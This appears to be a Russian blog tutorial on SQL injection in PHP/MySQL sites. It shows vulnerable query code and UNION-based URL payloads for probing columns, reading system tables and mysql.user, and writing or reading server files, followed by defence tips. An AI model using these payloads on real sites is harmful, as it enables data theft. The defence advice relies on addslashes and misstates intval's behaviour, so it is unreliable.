В этом посте немножко коснусь темы безопасности сайтов. Думаю, каждый, кто интересовался темой хака инет-ресурсов, слышал о таком понятии, как SQL-инъекции. Фактически любой сайт, разработчики которого не уделяют должного внимания вопросу безопасного программирования, может быть легко «взломан» этим видом атаки. Чтобы понять, что и к чему в этом посте, необходимо обладать техническим минимумом, в частности, иметь представление о том, что такое PHP и MySQL.

Итак, что же из себя представляют эти «инъекции», да еще и SQL?

0. Сначала было слово

SQL injection — одна из самых опасных уязвимостей вэб-приложений. Позволяет злоумышленнику выполнять запросы в БД сайта, а в некоторых случаях писать/читать файловую систему с правами сервера баз данных. Уязвимость возникает в большинстве случаев из-за недостаточной фильтрации данных при построении запроса.

1. Немного теории

Любой запрос SQL состоит из нескольких предложений.

SELECT *
FROM base_user

Это пример самого простого запроса, который состоит из двух предложений: предложение SELECT и предложение FROM. Для выбора по условию к запросу добавляется предложение WHERE. В нем обычно и скрываются неприятности.

SELECT *
FROM base_user
WHERE id=1

В MySQL литеральные строки заключаются в двойные или одинарные кавычки. Комментарии пишутся после или /*. Первый вид комментария — комментарий до конца строки, второй — до символов */, по аналогии с С++ или до конца многострочного запроса.

Также стоит упомянуть про объединение результатов запроса с использованием оператора UNION.

SELECT name
FROM A
WHERE id=1
UNION
SELECT name
FROM B
WHERE id=2

Оператор UNION эквивалентен теоретико-множественному оператору объединения множеств. Работает только с запросами на выборку, необходимо одинаковое количество выбираемых полей в предложении SELECT для обоих объединяемых запросов.

Начиная с 5-й версии, MySQL поддерживает написание подзапросов, которые заключаются в круглые скобки ().

2. От слов к примерам

Целые числа

$id = $_GET['id'];
mysql_query("SELECT * FROM base_user WHERE id=" . $id);

Данный пример собирает запрос, подобное можно встретить во множестве сайтов. Как видно, в запрос просто подставляется значение ячейки суперглобального массива $_GET.

Что можно сделать? Мы видим, что переменная id никак не фильтруется, тоесть в GET-запрос мы можем вписать все что угодно.

Сначала узнаем количество полей возвращаемых запросом, для этого начинаем угадывать количество столбцов.

http://test.com/test.php?id=1+UNION+SELECT+1+/*
http://test.com/test.php?id=1+UNION+SELECT+1,2+/*
http://test.com/test.php?id=1+UNION+SELECT+1,2,3+/*

и т.д., при несовпадении количества столбцов сервер будет отвечать ошибкой MySQL. Стоит заметить, в запросах используется /* для комментирования оставшегося запроса, мало ли что там девелопер еще написал…

После определения количества столбцов можно узнать, например, версию сервера. Cоставляем запрос вида:

http://test.com/test.php?id=1+UNION+SELECT+VERSION()+/*

Дальше, покопавшись в документации MySQL, можно набрести на системные таблицы INFORMATION_SCHEMA и на БД mysql. Если сервер настроен плохо, то можно надеятся на права чтения этих таблиц и баз данных. Для выполнения запроса к другой базе данных достаточно поставить ее имя перед именем таблицы и поставить «.»(точка) между именем БД и таблицей. Пример:

mysql.user

Имея доступ к INFORMATION_SCHEMA, злоумышленник легко узнает количество, имена и структуры всех таблиц БД.

Продолжим о вкусностях. Сервер MySQL имеет очень удобное предложение запроса на выборку INTO OUTFILE.

http://test.com/test.php?id=1+UNION+SELECT+1+INTO+OUTFILE+'/tmp/1.txt'

Запрос такого вида позволит записать результат запроса в файл. Хоть эта возможность встречается не так часто, но с ее помощью на сервер можно загружать любые файлы.

Приступим к чтению файловой системы.

LOAD DATA INFILE '/tmp/test.txt' INTO TABLE test

Запрос загружает содержимое фала в таблицу базы данных. С этим типом запросов возникают некоторые трудности при его инъекции в другие запросы, но в этом случае можно извратиться построением подзапросов.

Литералы

$name = $_GET['name'];
mysql_query("SELECT * FROM base_user WHERE name='" .  $name  . "'");

Этот код безопаснее предыдущего, но только в том случае, если в настройках PHP включены magic_quotes. При включении magic_quotes во всем вводе экранируются кавычки. Если же «волшебные кавычки» отключены, то запрос строится по принципу как и с целочисленными данными, только закрывается открытая кавычка

http://test.com/test.php?name=TEST'+UNION+SELECT+1,2,3+/*

В итоге, вместо

SELECT * FROM base_user WHERE name='TEST'

получаем

SELECT * FROM base_user WHERE name='TEST' UNION SELECT 1,2,3/*

3. Как защититься

Существуют разные способы защиты от инъекции, но в основе каждого лежит правильная и хорошая фильтрация пользовательского ввода. Данные к вэб-приложении поступают из массивов GET, POST и из COOKIE. Любой из массивов может быть преднамеренно изменен. Необходимо контролировать типы входящих значений. Например, попробуйте ВКонтакте в комментарий написать union или какой-то запрос.

Нужно численные значения преобразовывать к численным посредством intval(), floatval() и тп.

$a = intval($_GET['a']);

Это уже не позволит вместо $а вписать какой-то запрос. Следует отметить, что intval() нельзя использовать при проверке число или нет в переменной. Intval() возвращает 1 при непустых значениях параметра любого не числового типа. Для проверки на число лучше использовать is_numeric().

Для строковых значений следует использовать addslashes(), которая экранирует все кавычки символом \. А еще лучше html_entities() для кодирования символов сущностями html(" и т.п.).

4. The End

Как видно, доступ к чтению БД очень опасен. Если кому-то кажется, что md5 хеши (да и вообще любые другие) паролей довольно безопасны, хочу огорчить — существует множество онлайн баз данных хешей, которые за несколько секунд позволяют его вскрыть. Также недавно натолкнулся на программку, которая, по заявлению разработчика, способна на GeForce 9600 вскрыть любой md5 хэш за полдня.

При использовании сырого PHP и глобальных массивов стоит быть очень осторожным. Последствия могут быть плачевными. Следует с ответственностью относится к настройке прав пользователей базы, запрещать чтение INFORMATION_SCHEMA и базу данных mysql. Необходимо фильтровать все входные данные. На живых сайтах стоит отключать error_reporting и дамп ошибок БД в браузер.

Спасибо за написание статьи моему другу Bolshevik’у, а мне спасибо за то, что опубликовал :-)
_____
Рекомендую:
Продвижение сайтов в Украине
Пока звезды Реала рубятся на Евро-08, мы проникли в раздевалку великого клуба
Программное обеспечение для создания собственных безопасных e-mail рассылок
Как заработать в интернете НЕ продавая информацию